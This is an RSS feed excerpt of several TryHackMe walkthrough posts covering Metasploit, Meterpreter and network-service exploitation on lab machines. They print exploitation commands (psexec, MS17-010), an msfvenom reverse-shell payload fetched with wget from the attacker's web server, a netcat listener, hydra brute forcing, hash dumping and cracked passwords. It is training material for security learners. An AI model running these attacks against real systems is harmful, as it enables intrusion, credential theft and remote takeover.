/></figure><blockquote>carl</blockquote><p><strong>Another user! And we have their password hash. This could be very interesting. Copy the hash string in full, like: bob:*HASH to a text file on your local machine called “hash.txt”.</strong></p><p><strong>What is the user/hash combination string?</strong></p><pre>echo &#39;carl:*EA031893AA21444B170FC2162A56978B8CEECE18&#39; &gt; hash.txt</pre><p>carl:*EA031893AA21444B170FC2162A56978B8CEECE18</p><p><strong>Now, we need to crack the password! Let’s try John the Ripper against it using: “<em>john hash.txt</em>” what is the password of the user we found?</strong></p><blockquote>doggie</blockquote><p><strong>Awesome. Password reuse is not only extremely dangerous, but extremely common. What are the chances that this user has reused their password for a different service?</strong></p><p><strong>What’s the contents of MySQL.txt</strong></p><pre>ssh carl@IP<br>password : doggie<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*1Z2XOe6IrYSa75yememUlQ.png" /></figure><blockquote>THM{congratulations_you_got_the_mySQL_flag}</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37616e939933" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit: Meterpreter]]></title>
            <link>https://zinon-learning.medium.com/metasploit-meterpreter-3c40eacb1860?source=rss-bfefec9a2c0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c40eacb1860</guid>
            <category><![CDATA[metasploit-tryhackme]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Zinon_ZE]]></dc:creator>
            <pubDate>Tue, 23 Jan 2024 13:15:10 GMT</pubDate>
            <atom:updated>2024-01-23T13:15:10.091Z</atom:updated>
            <content:encoded><![CDATA[<p>U can contact me if u are facing any problems!</p><p><strong>Discord </strong>: zinonmissu</p><p><strong>THM Study Group</strong> : <a href="https://discord.gg/WvPcrhGzkB">https://discord.gg/WvPcrhGzkB</a></p><h3>Task — 1 (Introduction to Meterpreter)</h3><blockquote>No Answer Needed</blockquote><h3>Task — 2 (Meterpreter Flavors)</h3><blockquote>No Answer Needed</blockquote><h3>Task — 3 (Meterpreter Commands)</h3><blockquote>No Answer Needed</blockquote><h3>Task — 4(Post-Exploitation with Meterpreter)</h3><blockquote>No Answer Needed</blockquote><h3>Task — 5 (Post-Exploitation Challenge)</h3><p><strong>First You Have to Exploit The Machine to get Metapreter</strong></p><p><strong><em>You can use the credentials below to simulate an initial compromise over SMB (Server Message Block) (using exploit/windows/smb/psexec)</em></strong></p><p><strong><em>Username: ballen</em></strong></p><p><strong><em>Password: Password1</em></strong></p><pre>#start metasploit<br>msfconsole -q<br>use exploit/windows/smb/psexec<br>show options<br>set rhosts (Target IP)<br>set lhost  (Local_machine/Attackbox_machine IP)<br>set SMBUser ballen<br>set SMBPass Password1<br>#once you done with config u can start exploiting<br>exploit<br>#if everything is correct u would get metapreter session</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*rwggODN69bbNEf-EHGIU8A.png" /></figure><p><strong>What is the computer name?</strong></p><pre>sysinfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*-wznn9kTvPrzNyiMSjNKng.png" /></figure><blockquote>ACME-TEST</blockquote><p><strong>What is the target domain?</strong></p><pre>run post/windows/gather/enum_domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*y8X4n8t7oOzj_WF3HoSB9g.png" /></figure><p><strong>What is the target domain?</strong></p><pre>run  post/windows/gather/enum_shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*eZek97-FgPiq22XlpRGy1w.png" /></figure><blockquote>speedster</blockquote><p><strong>What is the NTLM hash of the jchambers user?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*nMyEaQES5IdY2SRR1-6aNw.png" /></figure><blockquote>69596c7aa1e8daee17f8e78870e25a5c</blockquote><p><strong>What is the cleartext password of the jchambers user?</strong></p><p>You can use <a href="https://crackstation.net/">https://crackstation.net/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XueEV1wlez_0o2Dre-f4BQ.png" /></figure><blockquote>Trustno1</blockquote><p><strong>Where is the “secrets.txt” file located? (Full path of the file)</strong></p><pre>search -f secrets.txt -f realsecret.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*xf7D1s2i105lYcw3YRn5bg.png" /></figure><blockquote>c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt</blockquote><p><strong>What is the Twitter password revealed in the “secrets.txt” file?</strong></p><pre>cat C:/&#39;Program Files (x86)&#39;/&#39;Windows Multimedia Platform&#39;/secrets.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*lLf3o5WJe4X6FJCzaDNkCw.png" /></figure><blockquote>KDSvbsw3849</blockquote><p><strong>Where is the “realsecret.txt” file located? (Full path of the file)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*xf7D1s2i105lYcw3YRn5bg.png" /></figure><blockquote>c:\inetpub\wwwroot\realsecret.txt</blockquote><p><strong>What is the real secret?</strong></p><pre>cat c:\inetpub/wwwroot/realsecret.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*k8r09Bik4Q05ZX7if2e4iQ.png" /></figure><blockquote>The Flash is the fastest man alive</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c40eacb1860" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit: Exploitation]]></title>
            <link>https://zinon-learning.medium.com/metasploit-exploitation-63c3167f87fb?source=rss-bfefec9a2c0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/63c3167f87fb</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[metasploit-tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Zinon_ZE]]></dc:creator>
            <pubDate>Sun, 21 Jan 2024 18:00:54 GMT</pubDate>
            <atom:updated>2024-01-21T18:00:54.191Z</atom:updated>
            <content:encoded><![CDATA[<p>(TryHackMe)</p><p>IF YOU ARE STUCK IN SOMEWHERE EVEN AFTER FOLLOWING THE GUIDE FEEL FREE TO DM ME</p><p>DISCORD : zinonmissu</p><h3>Task — 1 (Introduction)</h3><p>Note : If you are using ur virtual machine in ur local computer down load the file through accessing THM from your virtual machine browser .</p><h3>Task — 2 (Scanning)</h3><p><strong>How many ports are open on the target system?</strong></p><pre>nmap -sV IP</pre><blockquote>5</blockquote><p><strong>Using the relevant scanner, what NetBIOS name can you see?</strong></p><pre>use NETBIOS<br>use 2</pre><p>setg RHOSTS IP ( setg for future scans )</p><pre>setg RHOSTS IP ( setg for future scans )<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wfLQO-te_PT9vLS9qlID8Q.png" /></figure><blockquote>ACME IT SUPPORT</blockquote><p><strong>What is running on port 8000?</strong></p><pre>use http_version<br>use 0<br>show options<br>set RPORT 8000<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*PFJB4yTo5CLiMDyuqqkOBQ.png" /></figure><blockquote>webfs/1.21</blockquote><p><strong>What is the “penny” user’s SMB password? Use the wordlist mentioned in the previous task</strong></p><pre>use smb_login<br>show options<br>set SMBUser penny<br>set PASS_FILE (Depending on whether u using attackbox or local vm, password file location will be different)<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*E4TqUbDylEKHhng2z90I3g.png" /></figure><blockquote>leo1234</blockquote><h3>Task — 3( The Metasploit Database )</h3><p>NOTE : U should follow along those steps it will be useful</p><blockquote>No Answer Needed</blockquote><h3>Task — 4( Vulnerability Scanning )</h3><p><strong>Who wrote the module that allows us to check SMTP servers for open relay?</strong></p><pre>search smtp relay<br>use 0<br>info</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/202/1*ppoeI7p1h2C5rxo1CFWWMQ.png" /></figure><blockquote>Campbell Murray</blockquote><h3>Task — 5 (Exploitation)</h3><p><strong>Exploit one of the critical vulnerabilities on the target VM</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*jrBORCvG2x_azUx-_3G04g.png" /></figure><pre>search MS17-010</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dgGkT5Fyq6n6JqUposQNig.png" /></figure><pre>use 0<br>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*MAAhdYoAE1HAgklN68q2fQ.png" /></figure><pre>set rhosts machine_ip<br>set lhosts atackbox_ip (or) vm_tun0_ip<br>exploit</pre><p><em>congrat u get successfully exploited</em></p><p><strong>What is the content of the flag.txt file?</strong></p><pre>search -f flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*cftyxfqU34O__PWiCn-Y_Q.png" /></figure><pre>cd /Users/Jon/Docunments<br>ls<br>cat flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/218/1*U2Qn5N3p8L4e93T1_y2y2A.png" /></figure><blockquote>THM-5455554845</blockquote><p><strong>What is the NTLM hash of the password of the user “pirate”?</strong></p><pre>hashdump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*B0sIEkdZfEzX6sYaPS2J4Q.png" /></figure><p><strong>NOTE :<br></strong>Each field is separated with colon.</p><p>The fields are:</p><p><strong>1 st field</strong>: username (Administrator, User1, etc.) <br><strong>2nd field</strong>: Relative Identification (RID): last 3–4 digits of the Security Identifier (SID), which are unique to each user  <br><strong>3rd field</strong>: LM hash  <br><strong>4th field</strong>: NTLM hash</p><blockquote>8ce9a3ebd1647fcc5e04025019f4b875</blockquote><h3>Task — 6 (Msfvenom)</h3><p><strong>Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type “sudo su” to get a root shell, this will make things easier.</strong></p><pre>ssh murphy@ip<br>murphy@10.10.61.148&#39;s password: 1q2w3e4<br><br>sudo su</pre><p><strong>Create a meterpreter payload in the .elf format <em>(on the AttackBox, or your attacking machine of choice).</em></strong></p><pre>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= local machine ip LPORT=7777-f elf &gt; rev_shell.elf</pre><p><strong>Transfer it to the target machine (you can start a Python web server on your attacking machine with the python3 -m http.server 9000 command and use wget </strong><a href="http://ATTACKING_10.10.61.148:9000/shell.elf"><strong>http://ATTACKING_10.10.61.148:9000/shell.elf</strong></a><strong> to download it to the target machine).</strong></p><p>on your local machine, on the path that u created payload</p><pre>python3 -m http.server 9000</pre><p>on the murphy machine</p><pre>wget http://Local_Machine_IP:9000/rev_shell.elf</pre><p><strong>Get a meterpreter session on the target machine. (Carefully follow along with me )</strong></p><p>First in ur attack machine (or) attack_box</p><pre>msfconsole -q<br><br>use exploit/multi/handler<br>show options #to see the settings<br><br>set lhost attack_machine_ip<br>set lport 7777<br>set payload linux/x86/meterpreter/reverse_tcp<br><br>#once u done with da settings <br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*antHVGn1Sgh4R4xiB_Pd-A.png" /></figure><p>on murphy machine</p><pre>ls #too see if there&#39;s rev_shell.elf<br>   #if there is rev_shell.elf<br>chmod +x rev_shell.elf #to make it excuatable, once u do this it will change color<br>#after that<br><br>./rev_shell.elf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/109/1*LChgBjQJVEfzn8qTHSFkqg.png" /><figcaption>before chmod +x</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/102/1*gIRwxsevbhfv1RJB3o8-3A.png" /><figcaption>after chmod +x</figcaption></figure><p>once u done with that congrat u get ur metapreter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*E9M5PPS475o6ZymkK1mcoA.png" /></figure><p><strong>Use a post exploitation module to dump hashes of other users on the system.</strong></p><p>HINT : use the post/linux/gather/hashdump module.</p><pre>run post/linux/gather/hashdump</pre><p><strong>What is the other user’s password hash?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFBiGs-sQKyQdXc_IlXBqQ.png" /></figure><blockquote><strong>$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0</strong></blockquote><h3>Task — 7 (Summary)</h3><blockquote>no answer needed</blockquote><h3>CONGRAT ON COMPLETING Metasploit:Exploitation</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63c3167f87fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit: Introduction(TryHackMe)]]></title>
            <link>https://zinon-learning.medium.com/metasploit-introduction-tryhackme-036f1d9ba746?source=rss-bfefec9a2c0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/036f1d9ba746</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[metasploitintro]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Zinon_ZE]]></dc:creator>
            <pubDate>Sun, 14 Jan 2024 07:49:35 GMT</pubDate>
            <atom:updated>2024-01-14T07:49:35.535Z</atom:updated>
            <content:encoded><![CDATA[<h3>Task — 1 (Introduction to Metasploit)</h3><blockquote>No Answer Needed</blockquote><h3>Task — 2 (Main Components of Metasploit)</h3><p><strong>What is the name of the code taking advantage of a flaw on the target system?</strong></p><blockquote>Exploit</blockquote><p><strong>What is the name of the code that runs on the target system to achieve the attacker’s goal?</strong></p><blockquote>Payload</blockquote><p><strong>What are self-contained payloads called?</strong></p><blockquote>singles</blockquote><p><strong>Is “windows/x64/pingback_reverse_tcp” among singles or staged payload?</strong></p><blockquote>singles</blockquote><h3>Task — 3 (Msfconsole)</h3><p><strong>How would you search for a module related to Apache?</strong></p><blockquote>search Apache</blockquote><p><strong>Who provided the auxiliary/scanner/ssh/ssh_login module?</strong></p><pre>info auxiliary/scanner/ssh/ssh_login</pre><blockquote>todb</blockquote><h3>Task — 4( Working with modules )</h3><p><strong>How would you set the LPORT value to 6666?</strong></p><blockquote>set lport 6666</blockquote><p><strong>How would you set the global value for RHOSTS to 10.10.19.23 ?</strong></p><blockquote>set rhosts 10.10.19.23</blockquote><p><strong>What command would you use to clear a set payload?</strong></p><blockquote>unset payload</blockquote><p><strong>What command do you use to proceed with the exploitation phase?</strong></p><blockquote>exploit</blockquote><h3>Task — 5 (Summary)</h3><blockquote>No Answerd</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=036f1d9ba746" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Network Services Writups]]></title>
            <link>https://zinon-learning.medium.com/tryhackme-network-services-writups-2a14ea86df4c?source=rss-bfefec9a2c0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a14ea86df4c</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[thm-network-service]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[network-services]]></category>
            <dc:creator><![CDATA[Zinon_ZE]]></dc:creator>
            <pubDate>Sat, 06 Jan 2024 17:19:19 GMT</pubDate>
            <atom:updated>2024-01-06T17:19:19.269Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Network Services Writups</h3><p><em>This room u will learn about common Network Service vulnerabilities and misconfigurations</em></p><p>So Les Start</p><h3><strong>Task — 1</strong></h3><p>Have Knowledge on how to use <strong><em>LINUX!</em><br></strong>If you still don’t have knowledge on it I recommend you to start with</p><p><strong>‘Linux Fundamentals’ Module</strong> —<a href="https://tryhackme.com/module/linux-fundamentals"><strong> (https://tryhackme.com/module/linux-fundamentals)</strong></a></p><p>Connect to the TryHackMe OpenVPN Server</p><p>(See <a href="https://tryhackme.com/access">https://tryhackme.com/access</a> for help!)</p><h3>Task — 2 (UNDERSTANDING SMB)</h3><p><strong>What does SMB stand for?</strong></p><blockquote><em>Server Message Block</em></blockquote><p><strong>What type of protocol is SMB?</strong></p><blockquote>response-request</blockquote><p><strong>What do clients connect to servers using?</strong></p><blockquote>TCP/IP</blockquote><p><strong>What systems does Samba run on?</strong></p><blockquote>Unix</blockquote><h3>Task3 — (Enumerating SMB)</h3><p><strong>Conduct an nmap scan of your choosing, How many ports are open?</strong></p><pre>nmap 10.10.37.43 -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*axdBxFAtMWVwg_Ikn8MAcg.png" /></figure><blockquote>3</blockquote><p><strong>What ports is SMB running on?</strong></p><p>Out of 3 open ports there are 2 Samba smbd ports</p><blockquote>139/445</blockquote><p><strong>Let’s get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?</strong></p><pre>enum4linux  10.10.37.43 -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*-XaQOp3SrQz52zEvzEfRdA.png" /></figure><blockquote>WORKGROUP</blockquote><p><strong>What comes up as the name of the machine?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*2aYq5jBV_AVUfWmd2lB1Jg.png" /></figure><blockquote>PLOSMB</blockquote><p><strong>What operating system version is running?</strong></p><blockquote>6.1</blockquote><p><strong>What share sticks out as something we might want to investigate?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*P7GAy_362RIB_Hrc-sBPOQ.png" /></figure><blockquote>profiles</blockquote><h3><strong>Task — 4 (Exploiting SMB)</strong></h3><p><strong>What would be the correct syntax to access an SMB share called “secret” as user “suit” on a machine with the IP 10.10.10.2 on the default port?</strong></p><blockquote>smbclient //10.10.10.2/secret -U suit</blockquote><p><strong>- using the username “Anonymous”</strong></p><p><strong>- connecting to the share we found during the enumeration stage</strong></p><p><strong>- and not supplying a password.</strong></p><p><strong>Does the share allow anonymous access? Y/N?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*_E4gbB7K59CQgMpGP3EYsQ.png" /></figure><blockquote>Y</blockquote><p><strong>Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?</strong></p><pre>more &quot;Working From Home Information.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UrSv0-N19qOfkkOlMDMzrA.png" /></figure><blockquote>John Cactus</blockquote><p><strong>What service has been configured to allow him to work from home?</strong></p><blockquote>SSH</blockquote><p><strong>Okay! Now we know this, what directory on the share should we look in?</strong></p><pre>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*uVgyjdshb_v-mcERtUbEzA.png" /></figure><blockquote>.ssh</blockquote><p><strong>This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?</strong></p><pre>cd .ssh<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*4NoGSpy6gjxbcV1njJdfMQ.png" /></figure><blockquote>id_rsa</blockquote><p><strong>Download this file to your local machine, and change the permissions to “600” using “chmod 600 [file]”.</strong></p><p><strong>Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.</strong></p><p><strong>What is the smb.txt flag?</strong></p><pre>get id_rsa                          #download id_rsa to our local machine<br>exit                                #exitting the smb<br>chmod 600 id_rsa                    #changing permission of id_rsa<br>ssh -i id_rsa cactus@10.10.37.43    #Your ip machine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*k1KMARtuAd9gxPTB_7_mJg.png" /></figure><pre>ls<br>cat smb.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*kkR-wQmZifd6DBf0PHxGHw.png" /></figure><blockquote>THM{smb is fun eh?}</blockquote><h3>Task — 5(Understanding Telnet)</h3><p><strong>What is Telnet?</strong></p><blockquote>application protocol</blockquote><p><strong>What has slowly replaced Telnet?</strong></p><blockquote>ssh</blockquote><p><strong>How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?</strong></p><blockquote>telnet 10.10.10.3 23</blockquote><p><strong>The lack of what, means that all Telnet communication is in plaintext?</strong></p><blockquote>encryption</blockquote><h3>Task — 6( Enumerating Telnet )</h3><p><strong>How many ports are open on the target machine?</strong></p><p>First when you look at the Hints It said “Nmap won’t scan all ports by default.”</p><p>so what you gotta do is</p><pre>nmap -p- -T5 -vv  10.10.30.186(your machine ip)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*DXp1GMPPBfCrjyMJrpxLMw.png" /></figure><blockquote>1</blockquote><p><strong>What port is this?</strong></p><blockquote>8012</blockquote><p><strong>This port is unassigned, but still lists the protocol it’s using, what protocol is this?</strong></p><blockquote>tcp</blockquote><p><strong>Now re-run the nmap scan, without the -p- tag, how many ports show up as open?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*cZDLydGjWQKkqod_WdLHbw.png" /></figure><blockquote>0</blockquote><p><strong>Based on the title returned to us, what do we think this port could be used for?</strong></p><pre>telnet 10.10.30.186 8012</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*LQ2l9asodaz6psopilsmfQ.png" /></figure><blockquote>a backdoor</blockquote><p><strong>Who could it belong to? Gathering possible usernames is an important step in enumeration</strong></p><p>Skidy</p><h3>Task — 7(Exploiting Telnet)</h3><p><strong>Great! It’s an open telnet connection! What welcome message do we receive?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*vao_lYIVK0YWFKF7Vh8ctA.png" /></figure><blockquote>SKIDY’S BACKDOOR</blockquote><p><strong>Let’s try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*EA1Iup8dA6Rf5fW-QoVWgg.png" /></figure><p>N</p><p><strong>Now, use the command “ping [local THM ip] -c 1” through the telnet session to see if we’re able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/1*ywNRTaBQ_VfWESK2OrcIYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*jrVO302XhtbXRICAdVqCzQ.png" /></figure><blockquote>Y</blockquote><p><strong>What word does the generated payload start with?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*v2tXe0deDmp5FgT48k-9YA.png" /></figure><blockquote>mkfifo</blockquote><p><strong>What would the command look like for the listening port we selected in our payload?</strong></p><blockquote>nc -lvp 4444</blockquote><p><strong>Great! Now that’s running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*D31pSdWh0WOWbi7eFeqOCQ.png" /></figure><p>Disclamer : Ignore lots of .RUN</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*Q_R9fZJSrJqrTbjPstmY-Q.png" /></figure><p>Success! What is the contents of flag.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*MzmyvFlQsmG4D8A9WJNdrw.png" /></figure><blockquote>THM{y0u_g0t_th3_t3ln3t_fl4g}</blockquote><h3>Task — 8 ( Understanding FTP)</h3><p><strong>What communications model does FTP use?</strong></p><blockquote>client-server</blockquote><p><strong>What’s the standard FTP port?</strong></p><blockquote>21</blockquote><p><strong>How many modes of FTP connection are there?</strong></p><blockquote>2</blockquote><h3>Task — 9 (Enumerating FTP)</h3><p><strong>How many ports are open on the target machine?</strong></p><pre>nmap 10.10.142.189</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*TsOQabrjivOJT3zZo6lYEQ.png" /></figure><blockquote>2</blockquote><p><strong>What port is ftp running on?</strong></p><blockquote>21</blockquote><p><strong>What variant of FTP is running on it?</strong></p><pre>nmap -sV 10.10.142.189</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*-mIBCG6-n-P0c3ChzpMFSA.png" /></figure><blockquote>vsftpd</blockquote><p><strong>Great, now we know what type of FTP server we’re dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing “<em>ftp [IP]</em>” into the console, and entering “anonymous”, and no password when prompted.</strong></p><p><strong>What is the name of the file in the anonymous FTP directory?</strong></p><pre>ftp 10.10.142.189</pre><p>put name : anonymous</p><p>password:</p><p>Once you are in machine ftp</p><pre>ls -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*5nuw4nWQDL_CL71NjseAPQ.png" /></figure><blockquote>PUBLIC_NOTICE.txt</blockquote><p><strong>What do we think a possible username could be?</strong></p><pre>get PUBLIC_NOTICE.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Qyh5MRzzIQ5C4qqy9ATQVg.png" /></figure><p>back to your local machine</p><p>cat PUBLIC_NOTICE.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*0SKLfyWA3E5u4bJ5q-a-QA.png" /></figure><blockquote>Mike</blockquote><h3>Task — 10 ( Exploiting FTP )</h3><p><strong>What is the password for the user “mike”?</strong></p><pre>hydra -l mike -t 4 -P /usr/share/wordlists/rockyou.txt -vV 10.10.142.189 ftp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*QAu4d64qgF_9fCZssDpdWQ.png" /></figure><blockquote>password</blockquote><p>Bingo! Now, let’s connect to the FTP server as this user using <strong>“ftp [IP]” </strong>and entering the credentials when prompted</p><pre>ftp 10.10.142.189</pre><p>username : mike</p><p>password : password</p><pre>ls -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*drc9qTnMMPv7hTR0YJU-4g.png" /></figure><pre>get ftp.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*PwK_kp0sNdYkRAz78kGKDA.png" /></figure><p>back to your local machine</p><pre>cat ftp.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/1*kesPaPQgZU3HzjoVlePU5Q.png" /></figure><blockquote>THM{y0u_g0t_th3_ftp_fl4g}</blockquote><h4>Thanks you for using mine as looking writeups! I will try to improve more. Mwahhhh</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a14ea86df4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>